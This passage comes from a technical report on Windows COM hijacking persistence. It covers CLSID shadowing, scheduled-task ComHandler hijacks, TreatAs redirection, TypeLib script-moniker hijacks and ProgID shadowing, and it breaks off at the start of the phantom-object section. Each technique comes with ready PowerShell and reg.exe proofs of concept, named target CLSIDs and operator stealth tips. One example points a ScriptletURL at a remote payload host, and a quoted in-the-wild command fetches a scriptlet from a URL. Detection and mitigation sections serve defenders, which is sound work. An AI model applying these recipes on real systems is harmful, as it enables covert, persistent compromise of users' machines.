3. **Plant the shadow.** Create `HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32` with `(Default)` = path to the payload DLL and `ThreadingModel` matching the HKLM original.
|
||||||
|
4. **Trigger.** Wait for — or force — the host to activate the class. At the next logon (or immediately, via `rundll32.exe -sta {CLSID}` or by launching the host), the runtime resolves the HKCU entry and `LoadLibrary`s your DLL inside the host.
|
||||||
|
5. **Stay stable.** The payload DLL should proxy the real server (§2.7) so the host receives the interface pointers it expects and nothing user-visible breaks.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Standard user (write access to own HKCU) |
|
||||||
|
| OS/build | Any Windows with the HKCR per-user merge; WoW6432Node path needed for 32-bit targets ([4], [23]) |
|
||||||
|
| Config | Target CLSID instantiated by a process in the user's session; payload DLL on disk readable by the host |
|
||||||
|
| Payload | DLL exporting `DllGetClassObject`/`DllCanUnloadNow`; pass-through recommended (§2.7) |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Per-user CLSID shadow of CAccPropServicesClass (mirrors Atomic Red Team T1546.015 Test #1 [29])
|
||||||
|
$clsid = '{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}'
|
||||||
|
$base = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
|
||||||
|
New-Item -Path $base -Force | Out-Null
|
||||||
|
Set-ItemProperty -Path $base -Name '(Default)' -Value "$env:APPDATA\payload.dll"
|
||||||
|
Set-ItemProperty -Path $base -Name 'ThreadingModel' -Value 'Apartment'
|
||||||
|
# Immediate trigger (signed Microsoft invoker):
|
||||||
|
# rundll32.exe -sta $clsid
|
||||||
|
# Cleanup: Remove-Item "HKCU:\Software\Classes\CLSID\$clsid" -Recurse -Force
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Documented hijackable CLSIDs and in-the-wild cases
|
||||||
|
|
||||||
|
- **`{0A29FF9E-7F9C-4437-8B11-F424491E3931}` — Event Viewer MMC snap-in class (persistence + UAC crossover).** Loaded by `eventvwr.exe` (auto-elevated) and by `mmc.exe eventvwr.msc`; the HKCU shadow path is free. Because eventvwr auto-elevates, the payload loads at High integrity — a persistence-to-privesc chain; the tradeoff is that it is user-triggered (someone must open Event Viewer) ([28], [22]). Documented by hfiref0x/UACME and Metasploit's `exploit/windows/local/bypassuac_comhijack`; 3gstudent lists it among HKCU CLSID hijacks of elevated programs alongside `{B29D466A-857D-35BA-8712-A758861BFEA1}`, `{D5AB5662-131D-453D-88C8-9BBA87502ADE}`, and `{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}` ([22], [28]). Related but distinct: enigma0x3's "fileless" eventvwr UAC bypass pivots on `HKCU\Software\Classes\mscfile\shell\open\command` — a file association, not a CLSID — implemented in `Invoke-EventVwrBypass.ps1` ([9]).
|
||||||
|
|
||||||
|
```text
|
||||||
|
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "" /t REG_SZ /d "C:\path\payload.dll" /f
|
||||||
|
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "LoadWithoutCOM" /t REG_SZ /d "" /f
|
||||||
|
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
|
||||||
|
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "HideOnDesktop" /t REG_SZ /d "" /f
|
||||||
|
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0xf090013d /f
|
||||||
|
```
|
||||||
|
|
||||||
|
(`0xf090013d` is the SFGAO attribute combination the shell requires to accept the object ([28]).)
|
||||||
|
|
||||||
|
- **`{BCDE0395-E52F-467C-8E3D-C4579291692E}` — MMDeviceEnumerator (audio endpoint enumerator, `mmdevapi.dll`).** Instantiated by **explorer.exe at every logon** and by virtually every audio-touching process (Firefox documented; media players, browsers, VOIP clients) — an extremely reliable trigger. **In the wild:** APT28/Sednit's Seduploader combined `HKCU\Environment\UserInitMprLogonScript` with an MMDeviceEnumerator COM hijack; per Cisco Talos, the payload would execute "by rundll32.exe ... or by explorer.exe if the COM Object hijack is performed" ([19]); MITRE's APT28 page (G0007) cites the behavior ([37]), and FireEye/Mandiant documented JHUHUGIT hijacking MMDeviceEnumerator while also registering as a Shell Icon Overlay handler. A 2019 Chinese-research PoC staged the DLL as `%APPDATA%\Microsoft\Installer\{BCDE0395-...}\test._dl` with `ThreadingModel=Apartment`, triggered via iexplore.exe. Reference telemetry exists: sbousseaden's EVTX-ATTACK-SAMPLES ships `persist_firefox_comhijack_sysmon_11_13_7_1.evtx`, a Sysmon capture of an MMDeviceEnumerator hijack via Firefox ([30]).
|
||||||
|
|
||||||
|
- **`{42AEDC87-2188-41FD-B9A3-0C966FEABEC1}` — MruPidlList (shell32).** Loaded by **explorer.exe at every shell start** and repeatedly throughout the session — the classic, most-abused persistence CLSID. **In the wild:** Turla's **ComRAT** replaces the path to shell32.dll in `{42aedc87-...}\InprocServer32` (MITRE S0126 ([38])); **BBSRAT** pairs MruPidlList on one architecture with `{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}` ("Microsoft WBEM New Event Subsystem") on the other (Palo Alto); **PcShare** uses the HKCU shadow of `{42aedc87-...}`; SILENTTRINITY references it ([1]). G-Data's October 2014 write-up — MITRE's citation for the technique — described exactly this class ([6]).
|
||||||
|
|
||||||
|
- **`{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}` — CAccPropServicesClass (MSAA "AccPropServices", `oleacc.dll`).** Microsoft's Active Accessibility property server, instantiated by many UI processes (browsers, Office) — high trigger frequency. 32-bit confirmed; 64-bit caveats reported (verify in lab). Documented in bohops' research ([4]); **Atomic Red Team T1546.015 Test #1** uses exactly this CLSID with `rundll32.exe -sta {B5F8350B-...}` as invoker ([29]).
|
||||||
|
|
||||||
|
- **Browser/WebView2 targets (SpecterOps, May 2025).** `msedgewebview2.exe`, `msedge.exe`, `explorer.exe`, and `chrome.exe` all query HKCU for `{54E211B6-3650-4F75-8334-FA359598E1C5}` (InprocServer32 = `%SystemRoot%\system32\directmanipulation.dll`, `ThreadingModel=Both`) and `{9FCBE510-A27C-4B3B-B9A5-BF65F00256A8}` — hijacking yields execution inside browser processes when combined with export-forwarding stubs (FaceDancer / Koppeling) ([15]).
|
||||||
|
|
||||||
|
- **Shell extension classes** enumerated in NCC acCOMplice's `masterkeys.csv`, e.g. `{69486DD6-C19F-42E8-B508-A53F9F8E67B8}`, `{9E175B6D-F52A-11D8-B9A5-505054503030}`, `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}` ([13]).
|
||||||
|
|
||||||
|
- **Defender watchlist (startupdefense, via the research corpus):** `{42aedc87-2188-41fd-b9a3-0c966feabec1}`, `{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}`, `{E6D34FFC-AD32-4d6a-934C-D387FA873A19}`, `{3543619C-D563-43f7-95EA-4DA7E1CC396A}`.
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Sysmon:** EID 12 (key create/delete) / 13 (value set) on `HKU\<SID>_Classes\CLSID\*` and `HKU\<SID>\Software\Classes\CLSID\*` — especially `InprocServer32` writes pointing outside `%SystemRoot%\System32` and `Program Files` ([31], [33]).
|
||||||
|
- **Baseline diff:** an HKCU CLSID shadowing an HKLM CLSID *with a different server path* is near-zero false positive (this is exactly Elastic's prebuilt rule logic ([34])).
|
||||||
|
- **Invoker command lines:** `rundll32.exe -sta {CLSID}` (note the `-sta` flag tolerates junk suffixes such as `-stagggg`), `verclsid.exe /S /C {CLSID}`, `xwizard.exe RunWizard /taero /u {CLSID}`, `mmc.exe -Embedding <file.msc>` with a non-svchost parent.
|
||||||
|
- **Noise reduction for operators:** pass-through proxying (§2.7) prevents host crashes (WerFault, UI hangs) that would otherwise betray the hijack; stage the DLL under a plausible per-user path such as `%APPDATA%\Microsoft\...` as the ITW actors did.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Alert on HKCU `CLSID` writes that shadow HKLM registrations (Sigma/Elastic rules in §4); baseline-export and diff `HKCU\Software\Classes\CLSID` and `UsrClass.dat` against a gold image.
|
||||||
|
- Cross-check Sysmon EID 7 (image load) for explorer/svchost/taskhostw loading DLLs from outside System32.
|
||||||
|
- Treat per-user registry persistence as in-scope for EDR auto-remediation — deleting the shadow key restores the HKLM registration with no collateral damage.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2.2 Scheduled-task ComHandler persistence (hijack the task's COM class)
|
||||||
|
|
||||||
|
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) · **Since:** enigma0x3, May 2016 ([7]) · **Affects:** Windows builds shipping user-context ComHandler tasks (e.g. the WinINet CacheTask; verify per build in lab)
|
||||||
|
|
||||||
|
Scheduled tasks whose action is a **COM handler** (`<ComHandler><ClassId>{...}</ClassId>` in the task XML) do not launch a binary — the Task Scheduler activates the specified CLSID inside the task host when the task fires. Hijacking is therefore not a task modification at all: shadow the handler CLSID in HKCU, and every time the stock, Microsoft-signed task fires, your DLL runs ([7], [10]). The task itself remains byte-identical, so task-enumeration-based persistence audits see nothing.
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. **Enumerate** scheduled tasks with ComHandler actions that run in a user context with enabled triggers — enigma0x3's `Get-ScheduledTaskComHandler.ps1` ([8]) or the PowerShell loop below.
|
||||||
|
2. **Pick a handler CLSID** with a frequent trigger. The documented favorite: `{0358B920-0AC7-461F-98F4-58E32CD89148}` — the **WinINet CacheTask** (`C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask`), whose legitimate InprocServer32 is `%systemroot%\system32\wininet.dll`, `ThreadingModel=Both`, trigger = **logon of any user**. Its HKLM key is TrustedInstaller-owned, but the HKCU shadow needs no such rights; MDSec's walkthrough (Dominic Chell, May 2019) executes `c:\tools\demo.dll` at logon this way ([10]).
|
||||||
|
3. **Confirm** the HKLM registration and its `ThreadingModel=Both`; confirm no existing HKCU shadow.
|
||||||
|
4. **Shadow** `HKCU\Software\Classes\CLSID\{0358B920-...}\InprocServer32` → payload stub DLL; `ThreadingModel=Both`.
|
||||||
|
5. **Drop a pass-through stub** forwarding to `C:\Windows\System32\wininet.dll` (§2.7) so the cache task still works.
|
||||||
|
6. At the **next logon**, Task Scheduler fires CacheTask → the task host resolves the CLSID → HKCU wins → the stub loads inside the task host, runs its payload thread, and proxies everything to wininet.dll. No autostart entries, no broken task ([10]).
|
||||||
|
|
||||||
|
The generic hunter (from the research corpus):
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$Tasks = Get-ScheduledTask
|
||||||
|
foreach ($Task in $Tasks) {
|
||||||
|
if ($Task.Actions.ClassId -ne $null -and $Task.Triggers.Enabled -eq $true -and $Task.Principal.GroupId -eq "Users") {
|
||||||
|
Write-Host "$($Task.TaskName) :: $($Task.Actions.ClassId)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Other documented handler CLSIDs:
|
||||||
|
|
||||||
|
| CLSID | Task / context | Source |
|
||||||
|
|---|---|---|
|
||||||
|
| `{0358B920-0AC7-461F-98F4-58E32CD89148}` | WinINet CacheTask; logon of any user; `wininet.dll`, `ThreadingModel=Both` | MDSec ([10]) |
|
||||||
|
| `{A6BA00FE-40E8-477C-B713-C64A14F18ADB}` | `WindowsUpdate\Automatic App Update` task (ComHandler) | enigma0x3 ([7]) |
|
||||||
|
| `{2DEA658F-54C1-4227-AF9B-260AB5FC3543}` | ITW (UNC2529): attacker registered their own payload CLSID and added a `TreatAs` under this legitimate task-loaded CLSID → payload every user logon | FireEye/Mandiant ([20]) |
|
||||||
|
| `{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}` | *Training example* (ZeroPoint RTO; COM-Hunter readme; snovvcrash). Friendly name unconfirmed — do not rely on it in production targets. | ([14]) |
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Standard user (HKCU write) |
|
||||||
|
| OS/build | A user-context ComHandler task with an enabled logon/idle trigger must exist (CacheTask on stock Windows) |
|
||||||
|
| Config | Handler CLSID registered in HKLM; no pre-existing HKCU shadow |
|
||||||
|
| Payload | Pass-through stub matching the original `ThreadingModel` |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Shadow the CacheTask handler CLSID per-user (lab only)
|
||||||
|
$clsid = '{0358B920-0AC7-461F-98F4-58E32CD89148}'
|
||||||
|
$base = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
|
||||||
|
New-Item -Path $base -Force | Out-Null
|
||||||
|
Set-ItemProperty -Path $base -Name '(Default)' -Value "$env:APPDATA\stub.dll" # forwards to wininet.dll
|
||||||
|
Set-ItemProperty -Path $base -Name 'ThreadingModel' -Value 'Both'
|
||||||
|
# Trigger: log off/on, or run the task: schtasks /run /tn "Microsoft\Windows\Wininet\CacheTask"
|
||||||
|
# Cleanup: Remove-Item "HKCU:\Software\Classes\CLSID\$clsid" -Recurse -Force
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- Registry telemetry identical to §2.1 (Sysmon 12/13 on the shadow write); the trigger process is the signed task host, so process-based whitelisting alone will not catch execution.
|
||||||
|
- Defender angle: enumerate ComHandler tasks (script above), then diff each handler CLSID's HKCU vs HKLM registration — a mismatch is a finding.
|
||||||
|
- Operator angle: `schtasks /run` can force the trigger for testing; the stub must keep the task functional or repeated failures become user-visible.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Alert on HKCU shadows of handler CLSIDs returned by ComHandler enumeration; baseline-diff the Classes hive (§4).
|
||||||
|
- Watch for task-host processes loading DLLs from per-user paths (Sysmon EID 7).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2.3 TreatAs redirection (CoTreatAsClass)
|
||||||
|
|
||||||
|
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) · **Since:** documented by enigma0x3 + subTee ("Windows Operating System Archaeology", via bohops Part 2 ([5])) and Hexacorn "Beyond good ol' Run key, Part 84" (2018) ([21]) · **Affects:** all COM builds implementing `TreatAs` emulation ([3])
|
||||||
|
|
||||||
|
`TreatAs` is a documented COM feature: the key `HKCR\CLSID\{A}\TreatAs` (default value = `{B}`) declares that class `{B}` "can emulate" class `{A}`, so `CoCreateInstance({A})` silently resolves to `{B}` ([3]). The APIs are `CoGetTreatAsClass()` and `CoTreatAsClass()`; related machinery includes the `AutoTreatAs` value and the `Emulated` subkey. Because `TreatAs` is a *key* rather than a modification of `{A}`'s server values, an attacker can add it in HKCU **without ever touching `{A}`'s InprocServer32** — evading detections that only watch InprocServer32 writes ([5]).
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. **Register the attacker class** `{B}` per-user: `HKCU\Software\Classes\CLSID\{B}\InprocServer32` → payload DLL (+ matching `ThreadingModel`, optional ProgID).
|
||||||
|
2. **Link the legitimate class** `{A}`: create `HKCU\Software\Classes\CLSID\{A}\TreatAs` with default value `{B}`.
|
||||||
|
3. Any client instantiating `{A}` is transparently handed `{B}` — your code. `{A}`'s own registration is never modified.
|
||||||
|
|
||||||
|
Documented example (enigma0x3 + subTee, via bohops Part 2 ([5]); Hexacorn Part 84 ([21])): `{3734FF83-6764-44B7-A1B9-55F56183CDB0}\TreatAs = {00000001-0000-0000-0000-0000FEEDACDC}` → a scrobj.dll `ScriptletURL` payload.
|
||||||
|
|
||||||
|
**In the wild — Turla's Outlook backdoor (ESET, August 2018) ([18]):**
|
||||||
|
|
||||||
|
```text
|
||||||
|
HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs = {49CBB1C7-97D1-485A-9EC1-A26065633066}
|
||||||
|
```
|
||||||
|
|
||||||
|
where `{49CBB1C7-...}` ("Mail Plugin") has `InprocServer32` = the backdoor DLL with `ThreadingModel=Apartment`. Result: the backdoor loads inside OUTLOOK.EXE at every launch. 3gstudent automated the chain in `Invoke-OutlookPersistence.ps1`, which handles the `Wow6432Node` reflection for 32-bit Office ([22], [23]). FireEye/Mandiant's UNC2529 used the same idea under a scheduled-task CLSID (§2.2) ([20]).
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: on the left, `CoCreateInstance({A})` hits an HKCU `TreatAs = {B}` link and resolves the attacker's class `{B}` — `{A}`'s InprocServer32 is never modified. On the right, an Automation client's `LoadTypeLib` resolves the TypeLib's `win64` value to a `script:` moniker and executes a scriptlet via scrobj.dll. Both paths are HKCU-only writes outside the classic `InprocServer32` detection focus.*
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Standard user |
|
||||||
|
| OS/build | Any COM build; Wow6432Node placement for 32-bit clients (e.g. 32-bit Office) ([23]) |
|
||||||
|
| Config | A high-value client that activates `{A}` frequently (Outlook, shell, task host) |
|
||||||
|
| Payload | Attacker class `{B}` registered per-user with correct `ThreadingModel` |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# TreatAs link: clients activating {A} receive attacker class {B} (lab CLSIDs — illustrative)
|
||||||
|
$A = '{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}' # class the client requests (Turla ITW value)
|
||||||
|
$B = '{49CBB1C7-97D1-485A-9EC1-A26065633066}' # attacker "Mail Plugin" class
|
||||||
|
New-Item "HKCU:\Software\Classes\CLSID\$B\InprocServer32" -Force |
|
||||||
|
New-ItemProperty -Name '(Default)' -Value "$env:APPDATA\mailplugin.dll" | Out-Null
|
||||||
|
Set-ItemProperty "HKCU:\Software\Classes\CLSID\$B\InprocServer32" -Name 'ThreadingModel' -Value 'Apartment'
|
||||||
|
New-Item "HKCU:\Software\Classes\CLSID\$A\TreatAs" -Force |
|
||||||
|
New-ItemProperty -Name '(Default)' -Value $B | Out-Null
|
||||||
|
# Cleanup: remove both HKCU keys
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- `TreatAs` writes under `HKU\<SID>*\Classes\CLSID\*` by non-svchost/non-Office processes are high-signal; SigmaHQ ships dedicated TreatAs rules ([31], [32]).
|
||||||
|
- The legitimate class's server path never changes, so naive InprocServer32 diffing misses this — defenders must diff *keys*, not just values.
|
||||||
|
- Operator note: prefer hijacking classes whose emulation by a third-party class is behaviorally plausible; Outlook plugin-style classes are the proven ITW choice ([18]).
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Sigma `registry_set_treatas_persistence` / `registry_set_persistence_com_key_linking` (§4); alert on any `ScriptletURL` value creation.
|
||||||
|
- Include `TreatAs` subkeys in gold-image hive diffs.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2.4 TypeLib hijacking and the script: moniker (fileless, URL-rearming persistence)
|
||||||
|
|
||||||
|
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) — updated in 2025 to add the TypeLib / `script:`-moniker variation, citing ReliaQuest ([1], [17]) · **Since:** in the wild March 2025, published April 2025 (ReliaQuest) ([17]) · **Affects:** any host whose Automation clients resolve type libraries through the HKCR merge (verify per build in lab)
|
||||||
|
|
||||||
|
This is the most important recent evolution of COM persistence and deserves treatment as a first-class technique, not a footnote. Classic hijacks redirect a **CLSID's server**; a TypeLib hijack redirects the **type library** that oleaut32 loads to marshal an Automation interface. Because the TypeLib registration lives under a different root (`HKCR\TypeLib`, not `HKCR\CLSID`), every detection rule keyed on `CLSID\...\InprocServer32` writes is blind to it ([17], [24]).
|
||||||
|
|
||||||
|
> **Beginner note:** A **type library** (TypeLib) is COM's interface-description database: it records, for a set of Automation (`IDispatch`-compatible) interfaces, their methods, signatures, and the CLSIDs that implement them — identified by a **LIBID** GUID plus a version. When any Automation client (VBA, VBScript/JScript `GetObject`/`CreateObject`, .NET RCWs, Explorer.exe, OLE embedding) binds such an interface, `oleaut32!LoadTypeLib()` resolves `HKCR\TypeLib\{LIBID}\<version>\0\win32|win64` and loads whatever path the default value names — normally a `.tlb`, `.dll`, or `.olb`.
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. **Resolution path.** Type libraries resolve from `HKCR\TypeLib\{LIBID}\<version>\0\win32|win64`, default value = path. The same HKCR merge applies: shadowing `win32`/`win64` in `HKCU\Software\Classes\TypeLib\{LIBID}\...` redirects the load — per-user, no admin ([24]).
|
||||||
|
2. **The killer detail: the value accepts a moniker string.** Setting it to `script:<path-or-URL>` makes oleaut32 run a Windows Script Component (`.sct`) through scrobj.dll — including a **remote** `script:https://...` scriptlet, i.e. a fileless payload re-downloaded at every trigger ([17], [24]).
|
||||||
|
3. **Trigger.** Any Automation client touching that LIBID loads the "type library" — which is actually your scriptlet. Explorer.exe references the ITW-targeted LIBID every time it runs ([17]).
|
||||||
|
4. **Discovery recipe (HackTricks).** Read the LIBID from `HKCR\CLSID\{CLSID}\TypeLib`, read the version from `HKCR\TypeLib\{LIBID}`, then create `HKCU:\Software\Classes\TypeLib\{LIBID}\{ver}\0\win32` = `script:C:\...\evil.sct` — a JScript `<scriptlet>` that re-arms the main chain ([24]).
|
||||||
|
|
||||||
|
#### In the wild — ReliaQuest / Black Basta affiliate (2025)
|
||||||
|
|
||||||
|
ReliaQuest's "Hijacked and Hidden" report (incidents of March 2025, published April 2025; operators affiliated with Black Basta / Storm-1811) observed exactly this primitive ([17]):
|
||||||
|
|
||||||
|
```text
|
||||||
|
reg add "HKEY_CURRENT_USER\Software\Classes\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win64" /t REG_SZ /d "script:hxxps://drive.google[.]com/uc?export=download&id=1l5cMkpY9HIERae03tqqvEzCVASQKen63" /f
|
||||||
|
```
|
||||||
|
|
||||||
|
- `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` is the **SHDocVw** library (Microsoft Web Browser control / IE), version `1.1`.
|
||||||
|
- ReliaQuest observed **Explorer.exe reference this object every time it runs**, so the payload was auto-downloaded at every restart ([17]).
|
||||||
|
- MITRE updated T1546.015 in 2025 to add this TypeLib / `script:`-moniker variation, citing ReliaQuest ([1]).
|
||||||
|
|
||||||
|
**Why it is stealthier than a classic CLSID hijack:**
|
||||||
|
|
||||||
|
- The write lands under `HKCU\...\TypeLib\...`, not `CLSID\...\InprocServer32` — outside the target set of most published CLSID-hijack rules and of default Autoruns COM views ([17], [24]).
|
||||||
|
- The payload can live entirely at a URL: **nothing on disk** to scan or diff, and the scriptlet is re-fetched at every trigger, so the implant self-rearms even after local cleanup of payload files.
|
||||||
|
- Execution rides inside a Microsoft-signed host (Explorer.exe) through a Microsoft-signed loader (scrobj.dll) — no new process, no unsigned image load in the default case.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Standard user |
|
||||||
|
| OS/build | oleaut32 Automation resolution via HKCR (universal); a high-frequency LIBID (SHDocVw proven ITW) |
|
||||||
|
| Config | Target LIBID/version registered; know the client's bitness to pick `win32` vs `win64` |
|
||||||
|
| Payload | Local `.sct` or remote `script:https://...` scriptlet served by infrastructure |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Local-scriptlet TypeLib shadow of SHDocVw (lab only)
|
||||||
|
$libid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
|
||||||
|
$base = "HKCU:\Software\Classes\TypeLib\$libid\1.1\0\win64"
|
||||||
|
New-Item -Path $base -Force | Out-Null
|
||||||
|
Set-ItemProperty -Path $base -Name '(Default)' -Value 'script:C:\ProgramData\update.sct'
|
||||||
|
# update.sct = a Windows Script Component (<scriptlet>) with your JScript payload
|
||||||
|
# Trigger: restart Explorer (or wait for the next logon); cleanup: remove the HKCU TypeLib key
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Any** `TypeLib\...\0\win32|win64` value containing `script:`, `http:`, or `https:` is *almost certainly malicious* — treat as a near-zero-false-positive rule ([17]).
|
||||||
|
- Watch **scrobj.dll image loads into non-scripting processes** (Explorer.exe, Office, browsers) — Sysmon EID 7.
|
||||||
|
- Hunt `reg.exe` command lines containing both `TypeLib` and `script` ([17]).
|
||||||
|
- Operator tradecraft: remote `script:` URLs re-arm after reboot and survive payload-file deletion, but introduce network indicators and infrastructure attribution risk; local `.sct` drops one file but no beacons.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Add `HKU\<SID>_Classes\TypeLib\*\0\win32|win64` to registry-write monitoring and gold-image diffs (§4).
|
||||||
|
- Block or alert on scrobj.dll loading outside scripting hosts; consider Attack Surface Reduction-style controls on script components for users who do not need them.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2.5 ProgID hijacking (name-based resolution shadowing)
|
||||||
|
|
||||||
|
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) · **Since:** Casey Smith's squiblydoo research (per bohops Part 2 ([5])) · **Affects:** any client that instantiates classes by ProgID (verify per build in lab)
|
||||||
|
|
||||||
|
> **Beginner note:** A **ProgID** (programmatic identifier) is a human-readable alias for a CLSID — e.g. `Scripting.Dictionary` — stored as `HKCR\<ProgID>\CLSID` = `{CLSID}`. Scripting clients (`CreateObject("Scripting.Dictionary")` in VBScript/JScript) resolve the name to the CLSID first, then activate normally.
|
||||||
|
|
||||||
|
ProgIDs are shadowable in exactly the same HKCU merge: create `HKCU\Software\Classes\<ProgID>\CLSID` = your own CLSID, and any client instantiating by name resolves *your* class ([5]).
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. Pick a ProgID a scripting client resolves (the canonical demo targets `Scripting.Dictionary`).
|
||||||
|
2. Plant `HKCU\Software\Classes\Scripting.Dictionary\CLSID` = `{00000001-0000-0000-0000-0000FEEDACDC}`.
|
||||||
|
3. Register that CLSID per-user with `InprocServer32` = `C:\WINDOWS\system32\scrobj.dll` plus a `ScriptletURL` value naming a local or remote `.sct` — the squiblydoo chain ([5]).
|
||||||
|
4. Next `CreateObject("Scripting.Dictionary")` executes the scriptlet via the signed scrobj.dll.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Standard user |
|
||||||
|
| OS/build | Scripting clients that resolve the chosen ProgID exist on the host |
|
||||||
|
| Config | No pre-existing HKCU shadow of the ProgID |
|
||||||
|
| Payload | `.sct` scriptlet reachable by the host |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# squiblydoo-style per-user ProgID shadow (lab only)
|
||||||
|
New-Item "HKCU:\Software\Classes\Scripting.Dictionary\CLSID" -Force |
|
||||||
|
New-ItemProperty -Name '(Default)' -Value '{00000001-0000-0000-0000-0000FEEDACDC}' | Out-Null
|
||||||
|
$c = 'HKCU:\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32'
|
||||||
|
New-Item $c -Force | New-ItemProperty -Name '(Default)' -Value 'C:\WINDOWS\system32\scrobj.dll' | Out-Null
|
||||||
|
Set-ItemProperty $c -Name 'ScriptletURL' -Value 'https://<your-cdn>/payload.sct'
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Stability caveat:** this specific shadow breaks WinRM and `slmgr.vbs` with VBScript runtime errors — user/administrator-visible breakage that can burn the persistence ([5]). Prefer ProgIDs with narrow, predictable consumers.
|
||||||
|
- `ScriptletURL` value creation is rare legitimately — "detection gold" ([5]); alert on it unconditionally.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Alert on HKCU ProgID shadows of built-in scripting ProgIDs and on any `ScriptletURL` value.
|
||||||
|
- Include `HKCU\Software\Classes\<ProgID>\CLSID` in hive-diff baselines.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2.6 Phantom objects and the ClickOnce variant (register what was never there)
|
||||||
|
|
||||||
|
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) · **Since:** methodology by bohops (2018) ([4]) and pentestlab/SpecterOps ([15], [25]); ClickOnce weaponization by CrowdStrike (2025) ([16]) · **Affects:** any host whose processes activate unregistered CLSIDs (verify per build in lab)
|
||||||
|
|
||||||
|
Section 1 defined the two phantom states — orphaned registrations (CLSID present, binary missing) and undefined-but-referenced classes (a process activates a CLSID registered nowhere). Both convert to persistence with a crucial OpSec property: **nothing legitimate is overwritten, so nothing breaks and there is no before/after to diff** ([16]).
|
||||||
|
|
||||||
|
#### Mechanics (ClickOnce variant, CrowdStrike 2025)
|
||||||
|
|
||||||
|
